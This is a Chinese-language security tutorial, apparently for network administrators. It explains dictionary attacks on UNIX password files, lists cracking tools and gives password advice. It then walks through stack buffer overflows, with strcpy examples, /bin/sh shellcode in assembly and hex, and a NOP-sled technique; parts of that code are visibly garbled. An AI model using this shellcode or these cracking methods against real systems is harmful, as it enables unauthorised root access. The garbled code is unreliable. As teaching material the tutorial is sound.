|
1.口令的重要性
当我们谈到网络安全的时候,就经常可以跟一个词联系到一起,那就是黑客。其实,我们印象中的黑客是带有偏颇的感情色彩的,比较明确的说法是叫做入侵者。
黑客跟入侵者有什么区别呢?
黑客,指对于任何计算机操作系统的奥秘都有强烈兴趣的人。“黑客”大都是程序员,他们具有操作系统和编程语言方面的高级知识,知道系统中的漏洞及其原因所在;他们不断追求更深的知识,并公开他们的发现,与其他人分享;并且没有破坏数据的企图。
入侵者,是指怀着不良的企图,闯入甚至破坏远程机器系统完整性的人。 “入侵者”利用获得的非法访问权,破坏重要数据,拒绝合法服务器的请求,或为了自己的目的制造麻烦。“入侵者”很容易识别,因为他们的行为是恶意的。
虽然这才是黑客和入侵者的确切含义,但是在我们的日常生活中,人们在讨论到“黑客”这个字眼的时候,还是带有强烈的贬义色彩,或者说我们大家都把黑客跟入侵者联系到了一起,本文所讲的内容就是关于大家概念上的黑客,这其中既包括善意的真正的黑客,也包括恶意的入侵者,对于这些区别,我们只要心里有数就可以了。
1.1 黑客攻击口令的手段
在现实中,黑客攻击目标的时候,90%会把破译普通用户的口令作为第一步。先用“finger 远端主机名”找出主机上的用户帐号,然后用字典穷举法进行攻击。因为事实上,很多用户都把自己常用的英文单词或者自己的姓名作为口令。通过一些程序,自动地从计算机字典里面去单词作为用户的口令输入给远端的主机,尝试进入系统。这个破译过程由程序来完成的。大概10几个小时就可以把字典里的单词都完成。这类程序的典型代表是LetMeIn。
如果这种方法不能奏效,黑客就会仔细地寻找目标的薄弱环节和漏洞,伺机夺取目标中存放口令的文件shadow或者passwd。在现代的UNIX系统中,用户的基本信息都是存放在passwd文件中的,所有的口令都经过DES加密后专门放在shadow文件中,处于严密的保护下。老版本的UNIX,的口令都在passwd文件中。一旦获得了这个文件,就可以用专用的破解DES加密算法的程序来解口令。
我们的口令是否是安全的呢?
1.2 口令的取值范围
在UNIX下,可以当作口令来用的字符一共有:10(数字)+33(标点符号)+26*2(大小写字母) =95个,如果口令取任意5个字母+1 位数字或符号的可能性是:52*52*52/*52*52*43=163亿,但是如果5个字母是常用的词,那么假设常用的词是5000个,考虑到大小写,将有可能性:5000*(2+2+2+2+2)*43= 688万 可能性。
这已经可以利用微机来进行穷举了,这样的简单口令用不了3分钟就能破译,如果有人用P200进行攻击,那么一周内可以进行200次攻击,所以6位的口令是很不安全的。
遗憾的是许多用户都是这么设定的,而黑客不需要破解所有用户的口令,他们只需要一个普通用户的口令就足够了,只要潜入系统,就可以利用系统的漏洞而获得系统的控制权,所以使用简单口令是对整个主机安全的不负责任。这是首先我们应该重视的问题。
为什么口令的解密是相对比较容易的事情呢?就是因为目前广泛使用口令加密算法是完全公开的DES 算法,这种算法之所以公开,是因为一直都没有人能够找到一种方法能逆向解开它加密的信息。DES现在的加密算法在UNIX下的生成程序叫Crypt,它的源码在标准GUN分布式系统C库中可以找到。
Cgypt的版本可能不同,但是它的一般的过程如下:
以明码正文(或密码术语)形式取出口令。
把口令作为关键字,用一系列的“0”进行加密(共64位)。编码结果成为加密正文
某些Crypt版本,尤其是Crypt (3),采用将上述结果再进行加密,可以说是相当坚固的。
“密码算法(DES)把一个64位的二进制值转变成以56位变量为基础的、唯一的64位二进制值。如果只用全64位输入,并且如果56位变量是随机选取的,则除了用已知的DES输入输出值去尝试所有可能的关键字外,是没有什么技术能够发现DES选择的关键字的,因为56位的关键字存在超过 70000000000000000种可能性。”
虽然DES加密算法如此坚固,但是想要解开它并不是很难,因为它可以通过比较法解开:
获得一个字典文件,该文件是一个真正的单词明码正文列表。
把这些单词用所有的加密程序进行解密,这种加密符合DES标准。
把每个加密的单词于目标口令比较,如果匹配,则该目标口令被破解的可能性超过90%。
令人惊异的是,现在的很多解密程序都采用了相当好的规则来处理字表中的每一个单词,比如:
大小写交替使用。
把单词的正向、反向拼写后,接在一起。
在没个单词开头或者结尾加数字或符号。
交替使用字母和数字
这些很好的规则虽然加大了破解的时间,但是破解成功的可能性也增大了。下面简单地介绍几个有名的破解程序。
1.3 几种口令解密程序
1.3.1 Crack
破解UNIX口令的最著名的工具,现在已经成为了检查网络口令弱点的工业标准。它由Alec D.E.Muffett编写。可以免费得到,仅用于UNIX平台。在使用中,如果口令文件很小,时间和资源都不成问题,但是如果口令文件比较大,则要花费很长的时间和耗费相当的资源。它也可以把工作量分担到其他的机器上。它极其轻便,可能是最可靠的“口令入侵者”。
1.3.2 John The Ripper
它是一个破解UNIX口令的程序,它运行于DOS/Windows平台上,虽然早期版本有些缺陷,但是它具有扩展选项,它糅合了许多其他程序都有的诸多优点和需要。它大有趋势要成为最流行的破解程序。
1.3.3 CrackerJack
专门为DOS设计的、著名的UNIX口令入侵者。它不是Crack的直接移植,但是它运行速度极快,而且易于使用。这是一个偶像派的程序,最新版本用GUN C和C ++编译,速度更快了。
1.3.4 Hades
Hades是另一个破解UNIX中/etc/passwd文件口令的程序,运行速度比Crack快,比CrackerJack更快,它主要的用途在于显示加密口令中的薄弱口令,所以它的帮助很多,界面也友好,是个良文档。
1.3.5 Star Cracker
它工作在DOS4GW环境中。它很有特别,具有断电预防措施,定时释放操作,它还具有良好的选项菜单,这个功能使破解过程非常容易。应该说是一个好的程序。
1.3.6 Killer Cracker
它是另外一个非常著名的破解程序,几乎总是以源码来发表。可以在任何操作系统中运行,在UNIX系统下运行最好,可以操纵一些规则,包括大小写敏感规则。可以指定操作方法,包括按照什么顺序测试单词。BSD UNIX系统中可以独占CPU时间,还可以检查当前目标口令文件的非打印、控制字符。是个很完全的程序。
1.3.7 Claymore
这个程序可以运行在任何Windows平台上,是一个功能强大的“入侵者”,不仅可以破解UNIX的/etc/passwd文件,还可以用于破解其他类型的程序(包括那些需要登录名/口的程序)它还有很多过于热情的功能,它是可以算得上是真正强大的破解程序。
1.3.8 Merlin
它不是一个“口令入侵者”,而是一个管理工具,它管理“口令入侵者”,也管理扫描器、审查工具以及其他与安全有关的应用程序。它只用于LUINX平台,也可以用在其他的UNIX平台包括IRIX、SunOS、Solaris等。而且它的扩展性很好,人们可以把所有想的到的工具都加进去。它指导了一个重要的发展方向。
1.3.9 PGPCrack
这是一个很有趣的工具,因为PGP算法是几乎无法直接破解的,但是Miller发现口令是一个很好的突破口,这个程序提供了一个口令文件和源代码,可以运行在DOS 和UNIX环境下。
现在可以看出来,用户的口令是何等的重要,而且必须声明的是,最不安全的因素并不是超级用户的密码,而是普通用户的密码,因为一个好的黑客,很容易就能用普通用户的身份来寻找和利用系统中的漏洞获得超级用户的权限。所以我们必须要注意所有密码的管理,主要的要点是:
不要把口令写下来。
最好用8位的口令。
不要选取显而易见的信息做口令。
不要让别人知道。
不要在不同系统上使用同一口令。
输入口令时应在无人的情况下进行。
口令中最好要有大小写字母、字符、数字。
定期改变自己的口令。
定期用破解口令程序来检测shadow文件是否安全。
2.缓冲区溢出原理分析
缓冲区溢出(buffer overflow)是一种系统攻击的手段,通过往程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它的命令,以达到攻击的目的。根据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。之所以缓冲区溢出可以实现的原因是系统程序没有检测用户输入的参数,也就是没有检测变量的长度是否符合要求。
一个例子:
example1.c
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序出错。存在像strcpy()这样的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf(),以及在循环内的getc()、fgetc()、getchat()等。
当然,随便向缓冲区里填东西造成它溢出一般只会出现”Segmentation fault”段错误,而不能达到攻击的目的。最常见的手段是通过是某个特殊的程序的缓冲区溢出而执行一个shell,通过shell的权限可以执行高级的命令。如果这个特殊的程序属于root且具有suid权限的话,攻击成功就能获得一个具有root权限的shell,就可以对系统为所欲为了。
一个程序在内存中通常分为程序段,数据段和堆栈3部分。程序段里面放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是从内存低端到内存高端分别是:
程序段
数据段
堆栈
当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存命令寄存器(IP)中的内容作为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,作为新的基地址;最后为本地变量留出一定空间,把SP减去适当数值。以下面的程序为例:
example2.c
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for(i=0;i<255;i++)
large_string[i] = ‘A’;
function(large_string);
}
当调用函数function()的时候,堆栈的情况如下所示:
内存低端 buffer sfp ret *str 内存高端
←————[ ][ ][ ][ ] ————→
栈顶 栈底
上面的程序执行的结果是”Segmentation fault (core dumped)”或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容’A’覆盖,包括sfp、ret,甚至*str。 ‘A’的十六进制值为0x41,所以函数的返回地址变成了0x4141414141,这超出了程序的地址空间,所以出现段错误。
然而这样还不能得到我们想要的结果,我们必须在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内容,使它指向缓冲区的开头,就可以达到运行其它命令的目的,如下图:
内存低端 buffer sfp ret *str 内存高端
←————[ ][ ][ ][ ] ————→
栈顶 ^ | 栈底
|————————————————|
通常我们想要运行的程序是一个用户shell。下面是一段写的非常漂亮的shell代码:
example3.c
void main() {
_asm_(“
jmp 0x1f # 2 bytes
popl % esi # 1 byte
movl % esi,0x8( % esi) # 3 bytes
xorl % eax,%eax # 2 bytes
movb % eax,0x7( % esi) # 3 bytes
movl % eax,0xc( % esi) # 3 bytes
movb $ 0xb,% al # 2 bytes
movl % esi,% ebx # 2 bytes
leal 0x8( % esi), % ecx # 3 bytes
leal 0xc( % esi), % edx # 3 bytes
int $ 0x80 # 2 bytes
xorl % ebx,%ebx # 2 bytes
movl % ebx,% eax # 2 bytes
inc % eax # 1 bytes
int $ 0x80 # 2 bytes
call -0x24 # 5 bytes
.string “/bin?sh ” # 8 bytes
# 46 bytes total
“);
}
将上面的程序用机器码表示即可以得到以下的十六进制shell代码字符串。如下:
example4.c
char shellcode[]=
“ xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b”
“ x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd”
“ x80 xe0 xdc xff xff xff/bin/sh”;
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long * ) large_string;
for (i = 0; i < 32; i + +)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i + +)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分,然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容是shell代码,这样当程序试从strcpy()中返回的时候,就会转而执行shell。
但是如何知道缓冲区的地址,并在那里放shell代码到large_string的前面部分呢?由于每个程序的堆栈起始地址是固定的,所以自然想到可以利用反复重试缓冲区相对于堆栈起始位置的距离来得到。但是这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP后程序将激活shell进程,这样就大大地增加了猜中的可能性。
应该说,这种缓冲区溢出的技术是很奏效的,也是很多黑客和入侵者采用的惯用手段,因为它不是正常登录的超级用户权限,所以几乎没有任何记录。对于我们网络管理人员,应该了解它的原理和方式,而且一个重要的作用就是,当你不小心遗忘了超级用户口令的时候,你可以尝试采用这种方式重新获得超级用户的权限,这是一种很不错的方法。
目前对缓冲区溢出的防范来看,根本办法就是完善程序,使函数无懈可击。要注意及时地打各种patch,从根本上杜绝函数的漏洞,作为应急的办法,可以把有危险的程序的Suid位去掉,需要的时候再临时加上。
|